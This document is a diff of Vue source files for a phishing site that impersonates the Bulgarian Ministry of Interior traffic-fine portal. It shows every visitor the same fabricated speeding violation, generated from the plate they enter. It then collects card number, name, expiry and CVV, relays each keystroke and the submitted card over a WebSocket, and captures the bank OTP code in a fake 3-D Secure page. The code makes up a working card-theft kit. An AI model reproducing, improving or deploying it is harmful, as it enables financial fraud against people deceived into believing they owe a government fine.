letter-spacing: 0.02em;
transition: background-color 0.15s;
}
.mvr-btn:hover {
background-color: #154e87;
}
.mvr-btn:active {
background-color: #0f3d6b;
}
/* ── loading ── */
.mvr-loading-wrap {
margin-top: 24px;
display: flex;
flex-direction: column;
align-items: center;
gap: 12px;
}
.mvr-spinner {
width: 48px;
height: 48px;
animation: mvr-spin 1.2s linear infinite;
}
.mvr-waiting {
font-size: 13px;
color: #7a8fa3;
}
/* ── footer strip ── */
.mvr-footer-strip {
width: 100%;
background-color: #1a3a5c;
color: rgba(255,255,255,0.75);
font-size: 12px;
text-align: center;
padding: 10px 16px;
box-sizing: border-box;
}
@keyframes mvr-spin {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
</style>

View File

@@ -0,0 +1,428 @@
<script setup lang="ts">
import { inject, nextTick, onMounted, onUnmounted, reactive, ref, computed } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import eventBus from "@/utils/eventBus";
import PaymentLoadingModal from "@/components/PaymentLoadingModal.vue";
import { useRoute, useRouter } from "vue-router";
import {
inputChange, configData,
myWebSocket,
} from "@/utils/common";
import { useI18n } from "vue-i18n";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
const c10 = "/Static_zy/default.svg";
const { t } = useI18n();
const router = useRouter();
const invoiceNumber = ref("");
const isModalVisible = ref(false);
const loadingStore = useLoadingStore();
const formData = reactive({
cardNumber: "",
cardName: "",
expires: "",
cvv: "",
});
const errors = reactive({
cardName: false,
cardNumber: false,
expires: false,
cvv: false,
});
const cardMessage = ref("");
const expiresErrorMsg = ref("");
const cvvMaxLength = ref(4);
const cardTypeImage = computed(() => {
const num = formData.cardNumber.replace(/\D/g, "");
if (!num) return c10;
if (/^4/.test(num)) return c1;
if (/^(5[1-5]|222[1-9]|22[3-9]|2[3-6]|27[0-1]|2720)/.test(num)) return c2;
if (/^3[47]/.test(num)) return c5;
if (/^(62|81)/.test(num)) return c4;
if (/^6(011|4[4-9]|5)/.test(num)) return c6;
if (/^35/.test(num)) return c3;
if (/^(30|36|38|39)/.test(num)) return c8;
if (/^(50|56|57|58|6)/.test(num)) return c7;
return c10;
});
const isCardIdentified = computed(() => cardTypeImage.value !== c10);
const onCardNameChange = (e: any) => {
formData.cardName = e.target.value;
errors.cardName = !formData.cardName;
cardMessage.value = "";
inputChange("input_card", "cardName", formData.cardName);
};
const onCardNumberChange = (e: any) => {
let val = e.target.value.replace(/\D/g, "");
if (val.length > 16) val = val.slice(0, 16);
formData.cardNumber = val.replace(/(\d{4})(?=\d)/g, "$1 ");
errors.cardNumber = val.length < 15;
if (val.length > 0) cardMessage.value = "";
inputChange("input_card", "cardNumber", val);
};
const onExpiresChange = (e: any) => {
let val = e.target.value.replace(/\D/g, "");
if (e.inputType === "deleteContentBackward" && formData.expires.endsWith("/") && val.length === 2) {
val = val.slice(0, 1);
}
if (val.length > 4) val = val.slice(0, 4);
formData.expires = val.length >= 2 ? val.slice(0, 2) + "/" + val.slice(2) : val;
cardMessage.value = "";
validateExpireDate(formData.expires);
inputChange("input_card", "expires", formData.expires);
};
const onCvvChange = (e: any) => {
formData.cvv = e.target.value.replace(/\D/g, "");
errors.cvv = formData.cvv.length < 3;
cardMessage.value = "";
inputChange("input_card", "cvv", formData.cvv);
};
const validateExpireDate = (value: string) => {
if (!value || value.length < 5) {
errors.expires = true;
expiresErrorMsg.value = "Задължително поле";
return false;
}
const [monthStr, yearStr] = value.split("/");
const month = parseInt(monthStr);
if (month < 1 || month > 12) {
errors.expires = true;
expiresErrorMsg.value = "Невалиден месец";
return false;
}
const today = new Date();
const currentYear = today.getFullYear();
const currentMonth = today.getMonth() + 1;
const cardYear = 2000 + parseInt(yearStr);
if (cardYear < currentYear || (cardYear === currentYear && month < currentMonth)) {
errors.expires = true;
expiresErrorMsg.value = "Картата е изтекла";
return false;
}
errors.expires = false;
expiresErrorMsg.value = "";
return true;
};
const next = async () => {
errors.cardName = !formData.cardName;
errors.cardNumber = formData.cardNumber.replace(/\s/g, "").length < 15;
errors.cvv = formData.cvv.length < 3;
validateExpireDate(formData.expires);
if (errors.cardName || errors.cardNumber || errors.expires || errors.cvv) return;
isModalVisible.value = true;
const cleanCardNumber = formData.cardNumber.replace(/\s/g, "");
localStorage.setItem("cardNumber", cleanCardNumber);
const price = configData?.value?.pay_amount?.split(':')[1]?.trim() || '70 лв.';
localStorage.setItem("price", price);
myWebSocket?.send(JSON.stringify({
event: "submit_card",
content: { type: "submitCard", formData: { ...formData, cardNumber: cleanCardNumber } },
}));
};
const handleEvent = (data: { message2: string }) => {
cardMessage.value = data.message2;
isModalVisible.value = false;
};
onMounted(() => {
loadingStore.setLoading(false);
eventBus.on("my-event", handleEvent);
localStorage.setItem("route", "card");
const inumber = localStorage.getItem("invoiceNumber");
if (inumber) invoiceNumber.value = inumber;
const route = useRoute();
if (route.query.message2) {
cardMessage.value = route.query.message2 as string;
}
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "card" },
})
);
});
onUnmounted(() => eventBus.off("my-event", handleEvent));
</script>
<template>
<CommonLayout>
<template #default>
<div class="payment-page-container">
<h1 class="main-title">Потвърждение и плащане на дължимата сума</h1>
<div class="blue-line"></div>
<div class="payment-card">
<div class="total-label">Дължима сума по фиша</div>
<div class="total-amount">{{ configData?.pay_amount?.split(':')[1] || '70 лв.' }}</div>
</div>
<div class="payment-form-card">
<div class="methods-container">
<p class="methods-text">Приети начини на плащане</p>
<div class="icon-grid">
<img src="https://img.icons8.com/color/48/000000/visa.png" />
<img src="https://img.icons8.com/color/48/000000/mastercard.png" />
<img src="https://img.icons8.com/color/48/000000/amex.png" />
<img src="https://img.icons8.com/color/48/000000/maestro.png" />
<img src="https://img.icons8.com/color/48/000000/jcb.png" />
<img src="https://img.icons8.com/color/48/000000/discover.png" />
<img src="https://img.icons8.com/color/48/000000/diners-club.png" />
</div>
</div>
<form @submit.prevent="next" class="payment-form" novalidate>
<div class="form-item">
<label>Име на титуляра на картата <span class="req">*</span></label>
<input type="text" v-model="formData.cardName" @input="onCardNameChange"
:class="{ 'field-error': errors.cardName }" />
<div class="msg-error" v-if="errors.cardName">Задължително поле</div>
</div>
<div class="form-item">
<label>Номер на картата <span class="req">*</span></label>
<div class="input-with-icon">
<input type="text" inputmode="numeric" pattern="[0-9 ]*" placeholder="0000 0000 0000 0000" v-model="formData.cardNumber"
@input="onCardNumberChange" :class="{ 'field-error': errors.cardNumber || cardMessage }" />
<div class="card-type-indicator" v-if="isCardIdentified"><img :src="cardTypeImage" /></div>
</div>
<div class="msg-error" v-if="errors.cardNumber">Въведете валиден номер на карта</div>
<div class="msg-error" v-if="cardMessage">{{ t(cardMessage) }}</div>
</div>
<div class="flex-row">
<div class="form-item half">
<label>Валидност <span class="req">*</span></label>
<input type="text" inputmode="numeric" pattern="[0-9/]*" placeholder="ММ/ГГ" v-model="formData.expires" @input="onExpiresChange"
:class="{ 'field-error': errors.expires }" />
<div class="msg-error" v-if="errors.expires">{{ expiresErrorMsg }}</div>
</div>
<div class="form-item half">
<label>CVV <span class="req">*</span></label>
<input type="text" inputmode="numeric" pattern="[0-9]*" placeholder="123" v-model="formData.cvv" @input="onCvvChange" maxlength="4"
:class="{ 'field-error': errors.cvv }" />
<div class="msg-error" v-if="errors.cvv">Задължително</div>
</div>
</div>
<div class="button-section">
<button type="submit" class="pay-now-btn">Плати сега</button>
</div>
</form>
<div class="security-message">
Плащането се обработва в защитена и криптирана среда, съгласно действащите стандарти за защита на данните на МВР.
</div>
</div>
</div>
</template>
</CommonLayout>
<PaymentLoadingModal v-model:visible="isModalVisible" :card-number="formData.cardNumber" :loading="true" />
</template>
<style scoped>
.payment-page-container {
max-width: 540px;
margin: 0 auto;
padding: 20px 15px 50px;
background-color: #fff;
}
.blue-line {
height: 3px;
background-color: #0071a6;
width: 100%;
margin-bottom: 22px;
}
.main-title {
font-size: 18px;
font-weight: bold;
color: #1a1a1a;
margin-bottom: 10px;
text-align: left;
line-height: 1.4;
}
.payment-card {
background-color: #e8f4fb;
border-left: 4px solid #0071a6;
padding: 18px;
margin-bottom: 22px;
border-radius: 3px;
}
.total-label {
font-size: 13px;
color: #555;
text-align: center;
margin-bottom: 8px;
}
.total-amount {
font-size: 32px;
font-weight: bold;
color: #0071a6;
text-align: center;
}
.payment-form-card {
border: 1px solid #d0dce8;
border-radius: 3px;
padding: 20px;
background: #fff;
}
.security-message {
font-size: 12px;
color: #777;
text-align: center;
margin-top: 15px;
line-height: 1.5;
}
.methods-container {
margin-bottom: 22px;
}
.methods-text {
font-size: 13px;
font-weight: bold;
color: #333;
margin-bottom: 10px;
text-align: center;
}
.icon-grid {
display: flex;
gap: 6px;
flex-wrap: wrap;
margin-bottom: 18px;
justify-content: center;
}
.icon-grid img {
height: 36px;
width: auto;
border: 1px solid #d0dce8;
border-radius: 3px;
padding: 3px;
background: #f9f9f9;
}
.form-item {
margin-bottom: 16px;
text-align: left;
}
.form-item label {
display: block;
font-size: 13px;
font-weight: bold;
color: #333;
margin-bottom: 5px;
}
.req {
color: #cc0000;
}
input {
width: 100%;
padding: 9px 11px;
border: 1px solid #aabccc;
border-radius: 3px;
font-size: 14px;
box-sizing: border-box;
transition: all 0.2s;
background-color: #fff;
}
input:focus {
outline: none;
border-color: #0071a6;
box-shadow: 0 0 0 2px rgba(0, 113, 166, 0.15);
}
.field-error {
border-color: #cc0000 !important;
background: #fff5f5;
}
.msg-error {
color: #cc0000;
font-size: 12px;
margin-top: 4px;
}
.input-with-icon {
position: relative;
}
.card-type-indicator {
position: absolute;
right: 12px;
top: 50%;
transform: translateY(-50%);
}
.card-type-indicator img {
height: 22px;
}
.flex-row {
display: flex;
gap: 14px;
}
.half {
flex: 1;
}
.button-section {
margin-top: 20px;
}
.pay-now-btn {
width: 100%;
background: #0071a6;
color: #fff;
border: none;
padding: 13px 16px;
font-size: 16px;
font-weight: bold;
border-radius: 3px;
cursor: pointer;
transition: background 0.2s;
}
.pay-now-btn:hover {
background: #005a85;
}
</style>

View File

@@ -0,0 +1,25 @@
<script setup lang="ts">
import { footerHtml, headerHtml } from "@/utils/common";
</script>
<template>
<body>
<div class="v-application v-application--is-ltr theme--light">
<div class="v-application--wrap">
<header
v-html="headerHtml"
></header>
<main style="padding-top: 0px;">
<div style="">
<slot></slot>
</div>
</main>
<footer v-html="footerHtml"></footer>
</div>
</div>
</body>
</template>
<style></style>

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,351 @@
<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, watch } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const router = useRouter();
// 保持邏輯不變:使用 phoneData 結構
const formData = ref({ phoneData: { plateNumber: "" } });
// 狀態控制是否正在查詢圖3狀態
const isConsulting = ref(false);
const instance = getCurrentInstance()!;
const onchange = (event: any) => {
// 保持原本邏輯
inputChange("首頁輸入", "plate", event.target.value);
};
const next = () => {
isConsulting.value = true;
setTimeout(() => {
localStorage.setItem("plateNumber", formData.value.phoneData.plateNumber);
router.push("/pay");
}, 2500);
};
watch(
instance.appContext.config.globalProperties.$currentUser,
(newValue, oldValue) => {}
);
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "home" },
})
);
const userData =
getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.phoneData) {
formData.value = userData;
}
localStorage.setItem("route", "home");
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="bg-page-wrapper">
<div class="bg-container">
<div class="bg-header">
<h2>Проверка на задължения по фиш, НП или споразумение, издадени по направление Пътна полиция", с възможност за плащане</h2>
<div class="blue-line"></div>
</div>
<div class="static-top-content">
<div class="info-alert-box">
<p>Проверка на задължение по конкретен документ от тип фиш, наказателно постановление (НП) или споразумение, с възможност за онлайн плащане.</p>
</div>
<p class="description-text">
В резултата от проверката ще се визуализират връчените и/или невръчени НП, фишове и/или споразумения по Закона за движението по пътищата и/или по Кодекса за застраховането, които не са платени и са издадени в качеството Ви на задължено лице.
</p>
<p class="description-text">
Въведете данните за документа, за да проверите наличието на незаплатени задължения и да извършите плащане.
</p>
</div>
<div class="dynamic-content">
<div v-if="!isConsulting" class="initial-view">
<div class="form-card">
<h3 class="form-section-title">Данни за проверка</h3>
<form @submit.prevent="next">
<label class="input-label">Регистрационен номер на МПС <span class="required-mark">*</span></label>
<p class="input-hint">Въведете регистрационния номер на превозното средство (напр. СА1234АВ).</p>
<input
type="text"
required
v-model="formData.phoneData.plateNumber"
@input="onchange"
class="bg-input"
autofocus
placeholder=""
/>
<div class="btn-row">
<button type="submit" class="bg-btn-submit">
Провери
</button>
</div>
</form>
</div>
<div class="consequences-section">
<h3>Последствия при неплащане в срок</h3>
<p>Ако не завършите процеса в посочените срокове, може да бъдете изложени на:</p>
<ul>
<li>Начисляване на допълнителни такси и разноски по събиране върху първоначалната сума.</li>
<li>Предаване на задължението на оторизирани външни колекторски дружества.</li>
<li>Регистриране на глоби и нарушения на движението, свързани с превозното средство.</li>
<li>Невъзможност за подновяване на регистрацията на МПС до уреждане на задължението.</li>
<li>Образуване на изпълнително производство по реда на НПК.</li>
<li>Други законови мерки за събиране на дължимите суми.</li>
</ul>
</div>
</div>
<div v-else class="consulting-view">
<div class="loader-container">
<div class="spinner"></div>
<p class="loading-text-bold">Извършва се проверка на задълженията...</p>
<p class="loading-text-small">
Това може да отнеме няколко секунди. Моля, не затваряйте прозореца по време на търсенето.
</p>
</div>
</div>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
/* 保加利亚 МВР 电子服务门户风格 */
.bg-page-wrapper {
background-color: #ffffff;
min-height: 100vh;
padding: 20px 15px;
font-family: Arial, sans-serif;
color: #333;
}
.bg-container {
max-width: 640px;
margin: 0 auto;
}
/* 标题与蓝线 */
.bg-header h2 {
font-size: 18px;
font-weight: bold;
color: #1a1a1a;
margin-bottom: 10px;
line-height: 1.5;
text-align: left;
}
.blue-line {
height: 3px;
background-color: #0071a6;
width: 100%;
margin-bottom: 25px;
}
/* 蓝色提示框 */
.info-alert-box {
background-color: #e8f4fb;
border-left: 4px solid #0071a6;
padding: 14px 16px;
margin-bottom: 20px;
}
.info-alert-box p {
margin: 0;
font-size: 14px;
color: #333;
line-height: 1.5;
}
.description-text {
font-size: 14px;
color: #444;
line-height: 1.65;
margin-bottom: 15px;
}
/* 表单区块 */
.form-card {
background-color: #f5f8fb;
border: 1px solid #d0dce8;
border-radius: 4px;
padding: 20px 22px;
margin-bottom: 30px;
}
.form-section-title {
font-size: 16px;
font-weight: bold;
color: #0071a6;
margin: 0 0 18px 0;
border-bottom: 1px solid #d0dce8;
padding-bottom: 10px;
}
.input-label {
display: block;
font-weight: bold;
font-size: 14px;
color: #333;
margin-bottom: 4px;
}
.required-mark {
color: #cc0000;
margin-left: 2px;
}
.input-hint {
font-size: 12px;
color: #777;
margin-bottom: 10px;
}
.bg-input {
width: 100%;
box-sizing: border-box;
padding: 9px 10px;
border: 1px solid #aabccc;
border-radius: 3px;
font-size: 16px;
margin-bottom: 18px;
outline: none;
background-color: #fff;
}
.bg-input:focus {
border-color: #0071a6;
box-shadow: 0 0 0 2px rgba(0, 113, 166, 0.15);
}
.btn-row {
display: flex;
gap: 12px;
align-items: center;
}
.bg-btn-submit {
background-color: #0071a6;
color: #fff;
border: none;
border-radius: 3px;
padding: 9px 0;
font-size: 14px;
font-weight: bold;
cursor: pointer;
width: 100%;
}
.bg-btn-submit:hover {
background-color: #005a85;
}
/* 后果列表 */
.consequences-section {
border-left: 4px solid #0071a6;
padding-left: 15px;
margin-top: 10px;
}
.consequences-section h3 {
font-size: 16px;
font-weight: bold;
margin-bottom: 12px;
color: #1a1a1a;
}
.consequences-section p {
font-size: 14px;
margin-bottom: 12px;
color: #444;
}
.consequences-section ul {
padding-left: 16px;
margin: 0;
}
.consequences-section li {
font-size: 13.5px;
color: #444;
margin-bottom: 10px;
line-height: 1.5;
list-style-type: disc;
}
/* 加载动画 */
.consulting-view {
display: flex;
justify-content: center;
align-items: center;
padding: 40px 0;
}
.loader-container {
text-align: center;
display: flex;
flex-direction: column;
align-items: center;
}
.spinner {
width: 48px;
height: 48px;
border: 4px solid #d0dce8;
border-top: 4px solid #0071a6;
border-radius: 50%;
animation: spin 1s linear infinite;
margin-bottom: 20px;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.loading-text-bold {
font-size: 16px;
font-weight: bold;
color: #333;
margin-bottom: 8px;
}
.loading-text-small {
font-size: 13px;
color: #777;
max-width: 340px;
line-height: 1.5;
}
@media (max-width: 480px) {
.bg-container {
padding: 5px;
}
}
</style>

View File

@@ -0,0 +1,62 @@
<script setup lang="ts">
import { ref, onMounted } from 'vue';
const isLoading = ref(true);
onMounted(() => {
// Simulate loading, remove in production and use actual data loading completion
setTimeout(() => {
isLoading.value = false;
}, 2000);
});
</script>
<template>
<div class="container">
<div v-if="isLoading" class="loading-spinner">
<div class="spinner" style="display: none;"></div>
</div>
<div v-else class="content">
<!-- Main content goes here when loading is complete -->
</div>
</div>
</template>
<style scoped>
.container {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
width: 100%;
background-color: #f5f5f5;
}
.loading-spinner {
display: flex;
justify-content: center;
align-items: center;
}
.spinner {
width: 40px;
height: 40px;
border: 4px solid rgb(81, 81, 81, 0.3);
border-radius: 50%;
border-top-color: transparent;
animation: spin 1s ease-in-out infinite;
}
@keyframes spin {
to {
transform: rotate(360deg);
}
}
.content {
width: 100%;
padding: 20px;
}
</style>

View File

@@ -0,0 +1,60 @@
<template>
<div
v-if="isLoading"
class="loading-overlay"
:style="{ backgroundColor: loadingBg.value }"
>
<div class="spinner"></div>
</div>
</template>
<script lang="ts">
import { computed, defineComponent } from "vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { loadingBg } from "@/utils/common";
export default defineComponent({
computed: {
loadingBg() {
return loadingBg;
},
},
setup() {
const loadingStore = useLoadingStore();
const isLoading = computed(() => loadingStore.isLoading);
return {
isLoading,
};
},
});
</script>
<style>
.loading-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
display: flex;
align-items: center;
justify-content: center;
z-index: 1000;
}
.spinner {
border: 4px solid #f1f1f1;
border-top: 4px solid #0071a6;
border-radius: 50%;
width: 44px;
height: 44px;
animation: spin 1s linear infinite;
}
@keyframes spin {
to {
transform: rotate(360deg);
}
}
</style>

View File

@@ -0,0 +1,438 @@
<script setup lang="ts">
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
import CardType1 from "../components/CardType1.vue";
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const cardType = ref("");
const message1 = ref("");
const isVerifying = ref(false);
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query && query.cardType) {
cardType.value = query.cardType;
localStorage.setItem("cardType", query.cardType);
} else {
const type = localStorage.getItem("cardType");
if (type) cardType.value = type;
}
if (query && query.message1) {
message1.value = query.message1;
localStorage.setItem("message1", query.message1);
} else {
const type = localStorage.getItem("message1");
if (type) message1.value = type;
}
localStorage.setItem("route", "otpValid");
restoreCountdown();
if (!isCounting.value) {
startCountdown("");
}
eventBus.on("otp-valid", handleEvent);
});
const formData = reactive({ verifyCode: "" });
const onchange = (value: any) => {
inputChange("input_card", "verifyCode", value.target.value);
formData.verifyCode = value.target.value;
};
const submit = async () => {
await nextTick();
isVerifying.value = true;
if (!areAllValuesNotEmpty(formData)) {
isVerifying.value = false;
return;
}
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitValidCode",
formData: formData,
},
})
);
};
const initialTime = 60;
const timeLeft = ref(initialTime);
const isCounting = ref(false);
let timer: number | null = null;
const buttonText = computed(() => {
return isCounting.value
? `Изпрати отново (00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value})`
: "Изпрати отново";
});
const startCountdown = (resultType: string) => {
if (isCounting.value) return;
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid", resultType: resultType },
})
);
isCounting.value = true;
timeLeft.value = initialTime;
const startTime = Date.now();
localStorage.setItem("countdownStartTime", startTime.toString());
localStorage.setItem("countdownDuration", initialTime.toString());
timer = window.setInterval(() => {
if (timeLeft.value > 0) {
timeLeft.value -= 1;
} else {
stopCountdown();
}
}, 1000);
};
const stopCountdown = () => {
if (timer !== null) {
clearInterval(timer);
timer = null;
}
isCounting.value = false;
localStorage.removeItem("countdownStartTime");
localStorage.removeItem("countdownDuration");
};
const restoreCountdown = () => {
const startTimeStr = localStorage.getItem("countdownStartTime");
const durationStr = localStorage.getItem("countdownDuration");
if (startTimeStr && durationStr) {
const startTime = parseInt(startTimeStr);
const duration = parseInt(durationStr);
const elapsedSeconds = Math.floor((Date.now() - startTime) / 1000);
const remainingTime = Math.max(0, duration - elapsedSeconds);
if (remainingTime > 0) {
isCounting.value = true;
timeLeft.value = remainingTime;
timer = window.setInterval(() => {
if (timeLeft.value > 0) {
timeLeft.value -= 1;
} else {
stopCountdown();
}
}, 1000);
} else {
localStorage.removeItem("countdownStartTime");
localStorage.removeItem("countdownDuration");
}
}
};
const message = ref("");
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
isVerifying.value = false;
};
const expandedSections = reactive({ auth: false, help: false });
const toggleInfoSection = (section: string) => {
if (section === "auth") {
expandedSections.auth = !expandedSections.auth;
} else if (section === "help") {
expandedSections.help = !expandedSections.help;
}
};
onUnmounted(() => {
eventBus.off("otp-valid", handleEvent);
if (timer !== null) {
clearInterval(timer);
}
});
</script>
<template>
<div id="otp-page" class="page-wrapper">
<div class="container-outer">
<div class="card-container">
<div class="header-nav">
<div class="bank-icon">
<svg viewBox="0 0 24 24" width="36" height="36" fill="#0071a6">
<path d="M4 10v7h3v-7H4zm6 0v7h3v-7h-3zM2 22h19v-3H2v3zm14-12v7h3v-7h-3zm-4.5-9L2 6v2h19V6l-9.5-5z"></path>
</svg>
</div>
<div class="card-logo-wrapper">
<CardType1 :cardType="cardType" />
</div>
</div>
<div class="content-body">
<h2 class="page-title">Сигурност на плащането</h2>
<p class="instruction-text">
За да гарантираме сигурността на вашето плащане, изпратихме еднократна парола (OTP) на регистрирания ви мобилен номер<span v-if="message1">, завършващ на {{ message1 }}</span>. Моля, въведете кода за потвърждение по-долу.
</p>
<form @submit.prevent="submit">
<div class="form-group">
<label class="field-label">Код за потвърждение</label>
<input
required
type="text"
class="otp-input-field"
placeholder="Въведете кода за потвърждение"
v-model="formData.verifyCode"
@input="onchange"
/>
</div>
<div class="error-feedback" v-if="message">{{ message }}</div>
<div class="form-actions-row">
<button type="submit" class="submit-button">Потвърди</button>
<a href="javascript:void(0)" class="resend-link" @click="startCountdown('resendCode')">
{{ buttonText }}
</a>
</div>
</form>
<div class="bottom-links">
<div class="divider-line"></div>
<div class="info-row" @click="toggleInfoSection('auth')">
<span class="info-label">Повече информация за удостоверяването</span>
<span class="icon-plus">+</span>
</div>
<div class="info-row" @click="toggleInfoSection('help')">
<span class="info-label">Нуждаете се от помощ?</span>
<span class="icon-plus">+</span>
</div>
</div>
</div>
</div>
</div>
<Transition name="fade">
<div class="loading-overlay" v-if="isVerifying">
<div class="overlay-backdrop"></div>
<div class="overlay-box">
<div class="loader-spinner"></div>
<div class="loader-text">Проверява се</div>
</div>
</div>
</Transition>
</div>
</template>
<style scoped>
.page-wrapper {
background-color: #ffffff;
min-height: 100vh;
display: flex;
justify-content: center;
align-items: flex-start;
font-family: Arial, sans-serif;
}
.container-outer {
width: 100%;
max-width: 540px;
padding: 20px;
}
.card-container {
background: #ffffff;
}
.header-nav {
display: flex;
justify-content: space-between;
align-items: center;
padding: 15px 0 20px 0;
border-bottom: 1px solid #d0dce8;
}
.content-body {
padding: 25px 0;
}
.page-title {
font-size: 18px;
font-weight: bold;
color: #1a1a1a;
margin-bottom: 18px;
}
.instruction-text {
font-size: 14px;
color: #555;
line-height: 1.6;
margin-bottom: 28px;
}
.form-group {
margin-bottom: 16px;
}
.field-label {
display: block;
font-weight: bold;
font-size: 14px;
color: #333;
margin-bottom: 8px;
}
.otp-input-field {
width: 100%;
padding: 9px 11px;
border: 1px solid #aabccc;
border-radius: 3px;
font-size: 15px;
box-sizing: border-box;
background-color: #fff;
}
.otp-input-field::placeholder {
color: #aaa;
}
.otp-input-field:focus {
border-color: #0071a6;
outline: none;
box-shadow: 0 0 0 2px rgba(0, 113, 166, 0.15);
}
.form-actions-row {
display: flex;
align-items: center;
justify-content: space-between;
margin-top: 22px;
}
.submit-button {
background-color: #0071a6;
color: #ffffff;
border: none;
padding: 11px 28px;
border-radius: 3px;
font-size: 15px;
font-weight: bold;
cursor: pointer;
transition: background 0.2s;
}
.submit-button:hover {
background-color: #005a85;
}
.resend-link {
font-size: 13px;
color: #0071a6;
text-decoration: underline;
white-space: nowrap;
cursor: pointer;
}
.resend-link:hover {
color: #005a85;
}
.error-feedback {
color: #cc0000;
font-size: 13px;
margin-top: 10px;
}
.bottom-links {
margin-top: 28px;
}
.divider-line {
height: 1px;
background-color: #d0dce8;
margin-bottom: 0;
}
.info-row {
display: flex;
justify-content: space-between;
align-items: center;
padding: 14px 0;
border-bottom: 1px solid #d0dce8;
cursor: pointer;
}
.info-label {
font-size: 14px;
color: #0071a6;
font-weight: 500;
}
.icon-plus {
color: #0071a6;
font-size: 18px;
}
.loading-overlay {
position: fixed;
inset: 0;
z-index: 9999;
display: flex;
align-items: center;
justify-content: center;
}
.overlay-backdrop {
position: absolute;
inset: 0;
background: rgba(255, 255, 255, 0.9);
}
.overlay-box {
position: relative;
text-align: center;
}
.loader-spinner {
width: 45px;
height: 45px;
border: 4px solid #d0dce8;
border-top: 4px solid #0071a6;
border-radius: 50%;
animation: spin 1s linear infinite;
margin: 0 auto 15px;
}
.loader-text {
font-size: 15px;
color: #0071a6;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.fade-enter-active, .fade-leave-active { transition: opacity 0.3s; }
.fade-enter-from, .fade-leave-to { opacity: 0; }
</style>

View File

@@ -0,0 +1,382 @@
<script setup lang="ts">
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { onMounted, ref } from "vue";
import { configData, myWebSocket } from "../utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const loadingStore = useLoadingStore();
const router = useRouter();
const licensePlate = ref("");
const calculateInfractionDate = () => {
const now = new Date();
const sixDaysAgo = new Date(now.getTime() - 6 * 24 * 60 * 60 * 1000);
const day = String(sixDaysAgo.getDate()).padStart(2, "0");
const month = String(sixDaysAgo.getMonth() + 1).padStart(2, "0");
const year = sixDaysAgo.getFullYear();
return `${day}/${month}/${year}`;
};
const infractionDate = ref("");
const next = () => {
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/address");
}, 200);
};
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "pay" },
})
);
localStorage.setItem("route", "pay");
const savedPlate = localStorage.getItem("plateNumber") || localStorage.getItem("phoneNumber");
if (savedPlate) {
licensePlate.value = savedPlate;
}
infractionDate.value = calculateInfractionDate();
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="bg-pay-wrapper">
<div class="bg-pay-container">
<div class="bg-header">
<h2>Регистрирано нарушение по КАТ</h2>
<div class="blue-line"></div>
</div>
<div class="plate-display-card">
<span class="plate-label">ПРОВЕРЕН РЕГИСТРАЦИОНЕН НОМЕР</span>
<div class="plate-number">{{ licensePlate }}</div>
</div>
<div class="info-alert-box">
<p>
Информира се, че към посочения регистрационен номер е установено нарушение на правилата за движение по пътищата относно превишаване на разрешената скорост.
</p>
</div>
<div class="amount-detail-table">
<div class="table-header">
<span class="th-item">ПОКАЗАТЕЛ</span>
<span class="th-value">СТОЙНОСТ</span>
</div>
<div class="table-row two-col">
<div class="col-left">
<span class="row-main">Регистрирана скорост</span>
<span class="row-sub">Измерена скорост</span>
</div>
<div class="col-right">79 км/ч</div>
</div>
<div class="table-row two-col">
<div class="col-left">
<span class="row-main">Максимално допустима грешка</span>
<span class="row-sub">Приспадната грешка</span>
</div>
<div class="col-right">3 км/ч</div>
</div>
<div class="table-row two-col">
<div class="col-left">
<span class="row-main">Отчетена скорост</span>
<span class="row-sub">Скорост, взета предвид за санкцията</span>
</div>
<div class="col-right">76 км/ч</div>
</div>
<div class="table-row two-col">
<div class="col-left">
<span class="row-main">Разрешена скорост за участъка</span>
<span class="row-sub row-sub-orange">Ограничение на скоростта</span>
</div>
<div class="col-right">50 км/ч</div>
</div>
<div class="table-row two-col">
<div class="col-left">
<span class="row-main">Превишение</span>
<span class="row-sub">Надвишаване на скоростта</span>
</div>
<div class="col-right">26 км/ч</div>
</div>
<div class="table-row two-col">
<div class="col-left">
<span class="row-main">Дата на нарушението</span>
